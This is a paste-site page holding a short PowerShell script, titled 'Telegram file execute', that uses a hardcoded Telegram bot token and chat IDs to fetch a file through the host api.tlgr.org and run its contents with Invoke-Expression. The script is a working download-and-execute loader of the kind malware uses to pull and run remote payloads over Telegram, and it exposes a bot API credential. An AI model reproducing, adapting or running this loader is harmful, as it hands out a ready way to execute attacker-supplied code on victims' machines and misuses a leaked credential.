[powershell] PowerShell Example
Viewer
*** This page was generated with the meta tag "noindex, nofollow". This happened because you selected this option before saving or the system detected it as spam. This means that this page will never get into the search engines and the search bot will not crawl it. There is nothing to worry about, you can still share it with anyone.
- # PowerShell: Telegram file execute
- # By Alexei Smirnov, 2021
- $cif = '-1001239785765' # from chat id
- $cit = '-1001206309661' # to chat id
- $msg = '7' # file message id
- $bot = 'bot1725697663:AAGM2eVeBYAo0zcVa03ZKCGunkHOFsUoIIQ/' # bot api token
- # initiate web client
- $url = 'http://api.tlgr.org/'
- $web = New-Object Net.WebClient
- $web.Encoding = [System.Text.Encoding]::UTF8
- $web.Headers.Add('Content-Type: application/x-www-form-urlencoded')
- # get file id
- $str = $web.DownloadString($url+$bot+'forwardMessage?from_chat_id='+$cif+'&chat_id='+$cit+'&message_id='+$msg)
- $str = (($str -split ',"text":"')[1] -split '"}')[0]
- # get file path
- $str = $web.DownloadString($url+$bot+'getFile?file_id='+$str)
- $str = (($str -split 'path":"')[1] -split '"')[0]
- # download file
- $str = $web.DownloadString($url+'file/'+$bot+$str)
- # execute it
- Invoke-Expression $str
Editor
You can edit this paste and save as new: